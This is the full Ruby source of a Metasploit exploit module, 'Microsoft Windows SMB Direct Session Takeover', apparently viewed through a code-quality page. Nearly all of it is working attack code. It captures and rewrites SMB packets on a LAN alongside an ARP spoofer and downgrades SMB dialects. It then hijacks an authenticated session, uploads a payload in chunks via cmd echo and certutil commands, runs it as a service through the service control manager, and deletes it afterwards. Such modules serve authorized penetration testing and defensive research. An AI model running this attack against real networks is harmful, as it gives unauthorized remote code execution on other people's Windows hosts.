rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/smb/smb_shadow.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Capture
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows SMB Direct Session Takeover',
        'Description' => %q{
          This module will intercept direct SMB authentication requests to
          another host, gaining access to an authenticated SMB session if
          successful. If the connecting user is an administrator and network
          logins are allowed to the target machine, this module will execute an
          arbitrary payload. To exploit this, the target system must try to
          autheticate to another host on the local area network.

          SMB Direct Session takeover is a combination of previous attacks.

          This module is dependent on an external ARP spoofer. The builtin ARP
          spoofer was not providing sufficient host discovery. Bettercap v1.6.2
          was used during the development of this module.

          The original SMB relay attack was first reported by Sir Dystic on March
          31st, 2001 at @lanta.con in Atlanta, Georgia.
        },
        'Author' => [
          'usiegl00'
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Payload' => {},
        'References' => [
          ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
        ],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Platform' => 'win',
        'Targets' => [
          ['Automatic', {}]
        ],
        'DisclosureDate' => '2021-02-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ SERVICE_RESOURCE_LOSS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
        OptString.new('INTERFACE', [true, 'The name of the interface']),
        OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
        OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
        OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
        # For future cross LAN work:
        # OptString.new('GATEWAY',  [ true, "The network gateway ip address" ])
      ]
    )

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
                       'TIMEOUT')
  end

  def exploit
    @cleanup_mutex = Mutex.new
    @cleanedup = true
    if datastore['DefangedMode'].to_s == 'true'
      warning = <<~EOF

        Are you SURE you want to modify your port forwarding tables?
        You MAY contaminate your current network configuration.

        Disable the DefangedMode option if you wish to proceed.
      EOF
      fail_with(Failure::BadConfig, warning)
    end
    print_good('INFO : Warming up...')
    print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
    @sessions = []
    @sessions_mutex = Mutex.new
    @drop_packet_ip_port_map = {}
    @drop_packet_ip_port_mutex = Mutex.new
    @negotiated_dialect_map = {}
    @negotiated_dialect_mutex = Mutex.new
    @confirm_server_dialect = datastore['ConfirmServerDialect'] || false
    @arp_cache = {}
    @arp_mutex = Mutex.new
    @main_threads = []
    @interface = datastore['INTERFACE'] # || Pcap.lookupdev
    unless Socket.getifaddrs.map(&:name).include? @interface
      fail_with(Failure::BadConfig,
                "Interface not found: #{@interface}")
    end
    @ip4 = ipv4_addresses[@interface]&.first
    fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
    @mac = get_mac(@interface)
    fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
    # For future cross LAN work: (Gateway is required.)
    # @gateip4 = datastore['GATEWAY']
    # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
    # @gatemac = arp(tpa: @gateip4)
    # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
    @share = datastore['SHARE']
    print_status("Self: #{@ip4} | #{@mac}")
    # print_status("Gateway: #{@gateip4} | #{@gatemac}")
    disable_p445_fwrd
    @cleanedup = false
    start_syn_capture
    start_ack_capture
    start_rst_capture
    print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
    print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
    main_capture
  ensure
    cleanup
  end

  # This prevents the TCP SYN on port 445 from passing through the filter.
  # This allows us to have the time to modify the packets before forwarding them.
  def disable_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be disabled.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
        pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
        pf.close_write
      end
      IO.popen("#{pfctl} -e", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    else
      print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
      print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
      fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
    end
    print_good('INFO : Packet forwarding on port 445 disabled.')
    return true
  end

  # This reverts the changes made in disable_p445_fwrd
  def reset_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be reset.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    end
    print_good('INFO : Packet forwarding on port 445 reset.')
    return true
  end

  # This starts the SYN capture thread as part of step two.
  def start_syn_capture
    @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]

        packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
        packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
        packet.to_w(@interface)
      end
    end
  end

  # This starts the ACK capture thread as part of step two.
  def start_ack_capture
    @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]

        packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
        packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
        packet.to_w(@interface)
      end
    end
  end

  # This starts the ACK capture thread as part of step two.
  def start_rst_capture
    @rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]

        packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
        packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
        packet.to_w(@interface)
      end
    end
  end

  # This returns a mac string by querying the arp cache by an ip address.
  # If the address is not in the cache, it uses an arp query.
  def getarp(ip4)
    unless @arp_cache[ip4]
      mac = arp(tpa: ip4)
      @arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []
    end
    return @arp_cache[ip4]
  end

  # This sends an arp packet out to the network and captures the response.
  # This allows us to resolve mac addresses in real time.
  # We need the mac address of the server and client.
  def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
          sha: @mac, spa: @ip4,
          tha: '00:00:00:00:00:00', tpa: '', op: 1,
          capture: true)
    p = PacketFu::ARPPacket.new(
      eth_src: Rex::Socket.eth_aton(smac),
      eth_dst: Rex::Socket.eth_aton(dmac),
      arp_src_mac: Rex::Socket.eth_aton(sha),
      arp_src_ip: Rex::Socket.addr_aton(spa),
      arp_dst_mac: Rex::Socket.eth_aton(tha),
      arp_dst_ip: Rex::Socket.addr_aton(tpa),
      arp_opcode: op
    )
    if capture
      c = PacketFu::Capture.new(iface: @interface)
      c.capture
      c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
      p.to_w(@interface)
      sleep 0.5
      c.save
      c.array.each do |pkt|
        pkt = PacketFu::Packet.parse pkt
        # This decodes the arp packet and returns the query response.
        if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)
          return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)
        end
        return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha
      end
    else
      p.to_w(@interface)
    end
  end

  # This returns a hash of local interfaces and their ip addresses.
  def ipv4_addresses
    results = {}
    Socket.getifaddrs.each do |iface|
      if iface.addr.ipv4?
        results[iface.name] = [] unless results[iface.name]
        results[iface.name] << iface.addr.ip_address
      end
    end
    results
  end

=begin For future cross LAN work: (Gateway is required.)
  def ipv4_gateways
    results = {}
    Socket.getifaddrs.each do |iface|
      if iface.addr.ipv4? & iface.netmask&.ipv4?
        results[iface.name] = [] unless results[iface.name]
        results[iface.name] << IPAddr.new(
          IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,
          IPAddr.new(iface.addr.ip_address).family
        ).to_string
      end
    end
    results
  end
=end

  # This is the main capture thread that handles all SMB packets routed through this module.
  def main_capture
    # This makes sense in the context of the paper.
    # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
    mc = PacketFu::Capture.new(iface: @interface, promisc: true)
    mc.capture
    mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
    mc.stream.each_data do |data|
      packet = PacketFu::Packet.parse(data)
      nss = packet.payload[0..3]
      smb2 = packet.payload[4..]
      # Only Parse Packets from known sessions
      if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
        case smb2[11..12]
        when "\x00\x00" # Negotiate Protocol Request
          smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
          # Dialect Count Set To 1
          dialect = smb_packet.dialects.first
          # TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
          unless smb_packet.dialects.min >= 0x300
            begin
              if @negotiated_dialect_map[packet.tcp_header.tcp_src]
                dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
              elsif @confirm_server_dialect
                Timeout.timeout(2.75) do
                  rport = packet.tcp_header.tcp_src - rand(42..83)
                  @drop_packet_ip_port_mutex.synchronize do
                    @drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
                  end
                  dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
                    interface: @interface,
                    mac: @mac,
                    eth_src: Rex::Socket.eth_aton(@mac),
                    eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
                    ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
                    ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
                    tcp_src: rport,
                    tcp_dst: packet.tcp_header.tcp_dst,
                    tcp_seq: rand(14540253..3736845241),
                    tcp_ack: 0,
                    tcp_win: packet.tcp_header.tcp_win
                  )
                  dispatcher.send_packet(
                    '',
                    nbss_header: false,
                    tcp_flags: { syn: 1 },
                    tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
                  )
                  dispatcher.recv_packet
                  dispatcher.send_packet(
                    '',
                    nbss_header: false,
                    tcp_flags: { ack: 1 }
                  )
                  client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
                  client.negotiate
                  dialect = client.dialect.to_i(16)
                  # pp dialect
                  @drop_packet_ip_port_mutex.synchronize do
                    @drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
                  end
                  @negotiated_dialect_mutex.synchronize do
                    @negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
                  end
                end
              # Check if the server supports any SMB2 dialects
              else
                # We just assume the server supports the client's minimum dialect.
                dialect = smb_packet.dialects.min
                @negotiated_dialect_mutex.synchronize do
                  @negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
                end
              end
              unless dialect >= 0x300
                original_size = smb_packet.to_binary_s.size
                smb_packet.dialects = [dialect]
                smb_packet.negotiate_context_list = []
                smb_packet.client_start_time = 0
                # Re-Calculate Length: (Optional...)
                # nss = [smb_packet.to_binary_s.size].pack("N")
                # Add more dialects while keeping the dialect count at one to pad out the message.
                ((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }
                smb_packet.dialect_count = 1
                packet.payload = "#{nss}#{smb_packet.to_binary_s}"
                packet.recalc
              end
            rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
              # We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
              print_status("Confirm Server Dialect Error: #{e}")
            end
          end
        when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
          smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
          if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
            # Disable Session
            @drop_packet_ip_port_mutex.synchronize do
              @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
            end
            # Start Main Thread
            @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
              main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
            end
          end
        when "\x00\x03" # Tree Connect Request
          smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
          # We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.
          # SMBv3 requires signing on all TreeConnectRequests.
          # As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.
          # The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.
          if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
            # Disable Session
            @drop_packet_ip_port_mutex.synchronize do
              @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
            end
            # Start Main Thread
            @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
              # At this point, any SMBv3 version will do in order to conduct the attack.
              # Their minor protocol differences should not be relevant in this situation.
              # I just assumed that 0x300 is the least secure, which should be the right one to choose.
              main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
            end
          end
        end
      end
      next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]

      packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
      packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
      # packet.recalc
      packet.to_w(@interface)
    end
  end

  # This handles a session that has already authenticated to the server.
  # This allows us to offload the session from the main capture thead.
  def main_thread(packet:, dialect:, dstmac:)
    dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
      interface: @interface,
      mac: @mac,
      eth_src: Rex::Socket.eth_aton(@mac),
      eth_dst: Rex::Socket.eth_aton(dstmac),
      ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
      ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
      tcp_src: packet.tcp_header.tcp_src,
      tcp_dst: packet.tcp_header.tcp_dst,
      tcp_seq: packet.tcp_header.tcp_seq,
      tcp_ack: packet.tcp_header.tcp_ack,
      tcp_win: packet.tcp_header.tcp_win
    )
    dispatcher.send_packet(packet.payload, nbss_header: false)
    data = dispatcher.recv_packet
    if dialect >= 0x300
      smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)
    else
      smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)
    end

    address = packet.ip_header.ip_daddr

    smb1 = dialect / 0x100 == 1
    smb2 = dialect / 0x100 == 2
    smb3 = dialect / 0x100 == 3
    client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')

    client.dialect = dialect
    client.session_id = smb_packet.smb2_header.session_id
    client.smb2_message_id = smb_packet.smb2_header.message_id + 1
    client.negotiated_smb_version = dialect

    # SMB3 requires signing on the TreeConnectRequest
    # We are unable to sign the request, as we do not have the session key.
    # This means that we have to stay on the same tree during the entire attack.
    # We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.
    # Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.
    if dialect >= 0x300
      tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)

      print_status('Connecting to the Service Control Manager...')
      svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
      svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
      scm_handle = svcctl.open_sc_manager_w(address)
      print_status('Regenerating the payload...')

      filename = rand_text_alpha(8) + '.exe'
      servicename = rand_text_alpha(8)
      opts = { servicename: servicename }
      exe = generate_payload_exe_service(opts)
      print_status('Uploading payload...')
      mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size
      [exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|
        partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"
        print_status("Uploading payload: #{index + 1}/#{mindex}")
        launch_service(
          svcctl: svcctl,
          scm_handle: scm_handle,
          service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",
          log: false
        )
      end
      sleep 3
      print_status("Created \\#{filename}...")
    else
      print_status('Connecting to the defined share...')
      path = "\\\\#{address}\\#{@share}"
      tree = client.tree_connect(path)

      print_status('Regenerating the payload...')
      filename = rand_text_alpha(8) + '.exe'
      servicename = rand_text_alpha(8)
      opts = { servicename: servicename }
      exe = generate_payload_exe_service(opts)

      print_status('Uploading payload...')
      file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
      # The MITM dispatcher supports tcp packet fragmentation.
      file.write(data: exe)

      print_status("Created \\#{filename}...")
      file.close
      tree.disconnect!

      print_status('Connecting to the Service Control Manager...')
      ipc_path = "\\\\#{address}\\IPC$"
      tree = client.tree_connect(ipc_path)
      svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
      svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
      scm_handle = svcctl.open_sc_manager_w(address)
    end

    launch_service(
      svcctl: svcctl,
      scm_handle: scm_handle,
      service: "%SYSTEMROOT%\\#{filename}"
    )

    @sessions_mutex.synchronize { @sessions << address }
    sleep 0.5

    # Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.
    # The IPC$ tree has access to the svcctl service launcher.
    # We can delete the file by scheduling a command as a service to do so.
    if dialect >= 0x300
      print_status("Deleting \\#{filename}...")
      launch_service(
        svcctl: svcctl,
        scm_handle: scm_handle,
        service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",
        log: false
      )

      print_status('Closing service handle...')
      svcctl.close_service_handle(scm_handle)
    else
      print_status('Closing service handle...')
      svcctl.close_service_handle(scm_handle)
      tree.disconnect!

      print_status("Deleting \\#{filename}...")
      tree = client.tree_connect(path)
      file = tree.open_file(filename: filename, delete: true)
      file.delete
    end

=begin
    # Prevent STATUS_USER_SESSION_DELETED
    #sleep 42 <- We must use traffic to prevent the server from closing the connection
    20.times do
      sleep 2
      begin
        tree.open_file(filename: '.', read: false)
      rescue RubySMB::Error::UnexpectedStatusCode
        # Expected STATUS_ACCESS_DENIED
      end
    end
=end

    tree.disconnect!

    client.disconnect!
    return true # Done.
  end

  # Launch a svcctl service by creating, starting, and then deleting it
  def launch_service(svcctl:, scm_handle:, service:, log: true)
    service_name = rand_text_alpha(8)
    display_name = rand_text_alpha(rand(8..32))

    print_status('Creating a new service...') if log
    svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)

    print_status('Closing service handle...') if log
    svcctl.close_service_handle(svc_handle)
    svc_handle = svcctl.open_service_w(scm_handle, service_name)

    print_status('Starting the service...') if log
    begin
      svcctl.start_service_w(svc_handle)
    rescue RubySMB::Dcerpc::Error::SvcctlError
      # StartServiceW returns an error on success.
    end

    sleep 0.1

    print_status('Removing the service...') if log
    svcctl.delete_service(svc_handle)
    return true
  end

  # This cleans up and exits all the active threads.
  def cleanup
    @cleanup_mutex.synchronize do
      unless @cleanedup
        print_status 'Cleaning Up...'
        @syn_capture_thread.exit if @syn_capture_thread
        @ack_capture_thread.exit if @ack_capture_thread
        @rst_capture_thread.exit if @rst_capture_thread
        @main_threads.map(&:exit) if @main_threads
        reset_p445_fwrd
        @cleanedup = true
        print_status 'Cleaned Up.'
      end
    end
  end
end